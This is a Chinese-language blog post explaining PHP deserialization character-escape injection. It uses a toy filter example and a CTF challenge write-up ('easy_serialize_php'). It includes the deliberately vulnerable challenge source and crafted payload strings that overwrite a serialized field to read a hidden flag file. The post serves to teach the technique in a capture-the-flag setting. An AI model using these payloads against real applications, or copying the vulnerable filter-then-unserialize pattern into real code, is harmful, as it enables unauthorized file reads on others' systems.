江鸟's Blog

php反序列化字符逃逸

字数统计: 931阅读时长: 4 min
2020/03/24 Share

有关php反序列化字符逃逸的简单理解

php反序列化字符逃逸

php的特性

  1. 可以反序列化类中不存在的元素

    1
    2
    3
    4
    5
    6
    7
    <?php
    class user{
    public $name;
    public $age;
    }
    $b='O:4:"user":3:{s:4:"name";s:3:"bob";s:3:"age";s:2:"10";s:6:"gender";s:3:"boy";}';
    print_r(unserialize($b));

    得到的结果

    1
    2
    3
    4
    5
    6
    user Object
    (
    [name] => bob
    [age] => 10
    [gender] => boy
    )

    多了一个boy

  2. PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

    1
    O:4:"user":3:{s:4:"name";s:3:"bob";s:3:"age";s:2:"10";s:6:"gender";s:3:"boy";}s:6:"gender";s:4:"boy";

    这是不会报错的,但是也不会进行反序列化。结果依然不变。

    }后面的序列化内容不影响

漏洞产生过程

在平时的ctf或者渗透过程中,就有很多闭合引号的思想,这个代码注入也一样

什么情况下会产生长度改变,如果是正常传输,经过序列化的过程,长度一定是正确的,只有在系统修改的情况下,在序列化完成之后修改才能到达效果。

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function filter($string){
$filter = '/b/i';
return preg_replace($filter,'aa',$string);
}

$username = 'bob';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));

image-20200324153531232

经过系统修改长度之后我们发现长度出错了,但是反序列化也出错了。这时候就要用到我们闭合的思想,在这个案例中我们要修改age,需要加上";i:1;s:3:"100";},根据代码,每有一个b就会多一个字符,所以这里17个字符需要17个b,拼接username为bobbbbbbbbbbbbbbbb";i:1;s:3:"100";}

传输之后

image-20200324154002128

发现修改成功,这就是漏洞攻击的全过程了。

ctf中的应用

easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

在没有任何输入的情况下,序列化输出的字符串是

1
a:3:{s:4:"user";s:5:"guest";s:8:"function";N;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

现在读取的是guest_img.png这个文件

在修改img的属性的时候,我们需要修改function的值,所以需要构造字符串,一共是41位

1
2
3
4
5
";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

模拟一下

a:3:{s:4:"user";s:*:"*";s:8:"function";s:41:"";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这时候我们修改前面的user的长度,把“;s:8:”function”;s:41:”覆盖就好了,一共是23位,修user的值为flagflagflagflagphp

本地复现发现失败

1
2
3
4
$_SESSION["user"] = 'flagflagflagflagflagphp';
$_SESSION['function'] = '";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';

a:3:{s:4:"user";s:23:"";s:8:"function";s:41:"";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

原因是对象缺了一个,所以构造的时候需要多一个对象随便加一个就好了

image-20200324221023030

image-20200324221031994

完成覆盖得到flag

CATALOG
  1. 1. php反序列化字符逃逸
    1. 1.1. php的特性
    2. 1.2. 漏洞产生过程
    3. 1.3. ctf中的应用